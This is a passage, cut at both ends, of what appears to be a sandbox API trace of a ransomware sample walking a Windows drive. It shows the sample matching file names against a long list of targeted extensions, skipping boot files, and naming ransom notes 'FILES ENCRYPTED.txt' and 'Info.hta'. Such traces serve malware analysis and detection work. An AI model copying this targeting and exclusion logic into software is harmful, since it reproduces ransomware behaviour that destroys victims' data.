out: hFindFile=0x56f3b0) returned 1 [0059.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ed0858 | out: hHeap=0x520000) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x56f4f0, lpFindFileData=0x33cee18 | out: lpFindFileData=0x33cee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834450e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834450e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mappings", cAlternateFileName="")) returned 0 [0059.669] FindClose (in: hFindFile=0x56f4f0 | out: hFindFile=0x56f4f0) returned 1 [0059.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f80090 | out: hHeap=0x520000) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x56f6b0, lpFindFileData=0x33cf094 | out: lpFindFileData=0x33cf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x834dd660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x834dd660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unicode", cAlternateFileName="")) returned 0 [0059.669] FindClose (in: hFindFile=0x56f6b0 | out: hFindFile=0x56f6b0) returned 1 [0059.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37e06e8 | out: hHeap=0x520000) returned 1 [0059.669] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TypeSupport", cAlternateFileName="TYPESU~1")) returned 0 [0059.669] FindClose (in: hFindFile=0x56f5f0 | out: hFindFile=0x56f5f0) returned 1 [0059.669] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f70088 | out: hHeap=0x520000) returned 1 [0059.671] FindNextFileW (in: hFindFile=0x56f630, lpFindFileData=0x33cf58c | out: lpFindFileData=0x33cf58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup Files", cAlternateFileName="SETUPF~1")) returned 1 [0059.671] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56f5f0 [0059.671] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.671] FindNextFileW (in: hFindFile=0x56f5f0, lpFindFileData=0x33cf310 | out: lpFindFileData=0x33cf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{AC76BA86-7AD7-FFFF-7B44-AA0000000001}", cAlternateFileName="{AC76B~1")) returned 1 Thread: id = 18 os_tid = 0x7b4 [0036.846] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37c06d8 [0036.846] lstrlenW (lpString="C:") returned 2 [0036.846] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x3e8fd00 | out: lpFindFileData=0x3e8fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x613338 [0036.847] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0036.847] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0036.847] lstrlenW (lpString="$Recycle.Bin") returned 12 [0036.847] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0036.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37d06e0 [0036.847] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0036.847] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x613378 [0036.847] FindNextFileW (in: hFindFile=0x613378, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.847] FindNextFileW (in: hFindFile=0x613378, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0036.847] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0036.847] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0036.847] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0036.847] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0036.847] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37e06e8 [0036.848] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0036.848] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6143c0 [0036.848] FindNextFileW (in: hFindFile=0x6143c0, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.848] FindNextFileW (in: hFindFile=0x6143c0, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0036.848] lstrlenW (lpString="desktop.ini") returned 11 [0036.848] lstrlenW (lpString=".1cd") returned 4 [0036.848] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0036.848] lstrlenW (lpString=".3ds") returned 4 [0036.848] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0036.848] lstrlenW (lpString=".3fr") returned 4 [0036.848] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0036.848] lstrlenW (lpString=".3g2") returned 4 [0036.848] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0036.848] lstrlenW (lpString=".3gp") returned 4 [0036.848] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0036.848] lstrlenW (lpString=".7z") returned 3 [0036.849] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0036.849] lstrlenW (lpString=".accda") returned 6 [0036.849] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0036.849] lstrlenW (lpString=".accdb") returned 6 [0036.849] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0036.849] lstrlenW (lpString=".accdc") returned 6 [0036.849] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0036.849] lstrlenW (lpString=".accde") returned 6 [0036.849] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0036.849] lstrlenW (lpString=".accdt") returned 6 [0036.849] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0036.849] lstrlenW (lpString=".accdw") returned 6 [0036.849] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0036.849] lstrlenW (lpString=".adb") returned 4 [0036.849] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".adp") returned 4 [0036.849] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".ai") returned 3 [0036.849] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0036.849] lstrlenW (lpString=".ai3") returned 4 [0036.849] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".ai4") returned 4 [0036.849] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".ai5") returned 4 [0036.849] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".ai6") returned 4 [0036.849] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".ai7") returned 4 [0036.849] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0036.849] lstrlenW (lpString=".ai8") returned 4 [0036.850] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".anim") returned 5 [0036.850] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0036.850] lstrlenW (lpString=".arw") returned 4 [0036.850] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".as") returned 3 [0036.850] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0036.850] lstrlenW (lpString=".asa") returned 4 [0036.850] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".asc") returned 4 [0036.850] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".ascx") returned 5 [0036.850] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0036.850] lstrlenW (lpString=".asm") returned 4 [0036.850] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".asmx") returned 5 [0036.850] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0036.850] lstrlenW (lpString=".asp") returned 4 [0036.850] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".aspx") returned 5 [0036.850] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0036.850] lstrlenW (lpString=".asr") returned 4 [0036.850] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".asx") returned 4 [0036.850] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".avi") returned 4 [0036.850] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".avs") returned 4 [0036.850] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".backup") returned 7 [0036.850] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0036.850] lstrlenW (lpString=".bak") returned 4 [0036.850] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0036.850] lstrlenW (lpString=".bay") returned 4 [0036.850] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".bd") returned 3 [0036.851] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0036.851] lstrlenW (lpString=".bin") returned 4 [0036.851] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".bmp") returned 4 [0036.851] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".bz2") returned 4 [0036.851] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".c") returned 2 [0036.851] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0036.851] lstrlenW (lpString=".cdr") returned 4 [0036.851] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".cer") returned 4 [0036.851] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".cf") returned 3 [0036.851] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0036.851] lstrlenW (lpString=".cfc") returned 4 [0036.851] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".cfm") returned 4 [0036.851] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".cfml") returned 5 [0036.851] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0036.851] lstrlenW (lpString=".cfu") returned 4 [0036.851] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".chm") returned 4 [0036.851] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".cin") returned 4 [0036.851] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".class") returned 6 [0036.851] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0036.851] lstrlenW (lpString=".clx") returned 4 [0036.851] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".config") returned 7 [0036.851] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0036.851] lstrlenW (lpString=".cpp") returned 4 [0036.851] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0036.851] lstrlenW (lpString=".cr2") returned 4 [0036.852] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".crt") returned 4 [0036.852] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".crw") returned 4 [0036.852] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".cs") returned 3 [0036.852] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0036.852] lstrlenW (lpString=".css") returned 4 [0036.852] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".csv") returned 4 [0036.852] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".cub") returned 4 [0036.852] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dae") returned 4 [0036.852] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dat") returned 4 [0036.852] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".db") returned 3 [0036.852] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0036.852] lstrlenW (lpString=".dbf") returned 4 [0036.852] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dbx") returned 4 [0036.852] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dc3") returned 4 [0036.852] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dcm") returned 4 [0036.852] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dcr") returned 4 [0036.852] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".der") returned 4 [0036.852] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dib") returned 4 [0036.852] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dic") returned 4 [0036.852] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".dif") returned 4 [0036.852] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0036.852] lstrlenW (lpString=".divx") returned 5 [0036.853] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0036.853] lstrlenW (lpString=".djvu") returned 5 [0036.853] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0036.853] lstrlenW (lpString=".dng") returned 4 [0036.853] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".doc") returned 4 [0036.853] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".docm") returned 5 [0036.853] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0036.853] lstrlenW (lpString=".docx") returned 5 [0036.853] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0036.853] lstrlenW (lpString=".dot") returned 4 [0036.853] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dotm") returned 5 [0036.853] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0036.853] lstrlenW (lpString=".dotx") returned 5 [0036.853] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0036.853] lstrlenW (lpString=".dpx") returned 4 [0036.853] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dqy") returned 4 [0036.853] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dsn") returned 4 [0036.853] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dt") returned 3 [0036.853] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0036.853] lstrlenW (lpString=".dtd") returned 4 [0036.853] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dwg") returned 4 [0036.853] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dwt") returned 4 [0036.853] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".dx") returned 3 [0036.853] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0036.853] lstrlenW (lpString=".dxf") returned 4 [0036.853] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0036.853] lstrlenW (lpString=".edml") returned 5 [0036.853] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0036.854] lstrlenW (lpString=".efd") returned 4 [0036.854] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".elf") returned 4 [0036.854] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".emf") returned 4 [0036.854] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".emz") returned 4 [0036.854] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".epf") returned 4 [0036.854] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".eps") returned 4 [0036.854] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".epsf") returned 5 [0036.854] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0036.854] lstrlenW (lpString=".epsp") returned 5 [0036.854] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0036.854] lstrlenW (lpString=".erf") returned 4 [0036.854] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".exr") returned 4 [0036.854] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".f4v") returned 4 [0036.854] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".fido") returned 5 [0036.854] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0036.854] lstrlenW (lpString=".flm") returned 4 [0036.854] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".flv") returned 4 [0036.854] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".frm") returned 4 [0036.854] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".fxg") returned 4 [0036.854] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".geo") returned 4 [0036.854] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".gif") returned 4 [0036.854] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0036.854] lstrlenW (lpString=".grs") returned 4 [0036.855] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".gz") returned 3 [0036.855] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0036.855] lstrlenW (lpString=".h") returned 2 [0036.855] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0036.855] lstrlenW (lpString=".hdr") returned 4 [0036.855] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".hpp") returned 4 [0036.855] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".hta") returned 4 [0036.855] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".htc") returned 4 [0036.855] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".htm") returned 4 [0036.855] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".html") returned 5 [0036.855] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0036.855] lstrlenW (lpString=".icb") returned 4 [0036.855] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".ics") returned 4 [0036.855] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".iff") returned 4 [0036.855] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".inc") returned 4 [0036.855] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0036.855] lstrlenW (lpString=".indd") returned 5 [0036.855] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0036.855] lstrlenW (lpString=".ini") returned 4 [0036.855] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0036.855] lstrlenW (lpString="desktop.ini") returned 11 [0036.855] lstrlenW (lpString=".LIVE") returned 5 [0036.855] lstrcmpiW (lpString1=".LIVE", lpString2="p.ini") returned -1 [0036.855] lstrlenW (lpString="desktop.ini") returned 11 [0036.855] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0036.855] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0036.855] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0036.855] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0036.856] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0036.856] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0036.856] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0036.856] lstrcmpiW (lpString1="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe", lpString2="desktop.ini") returned 1 [0036.856] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0036.856] FindNextFileW (in: hFindFile=0x6143c0, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0036.856] FindClose (in: hFindFile=0x6143c0 | out: hFindFile=0x6143c0) returned 1 [0036.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 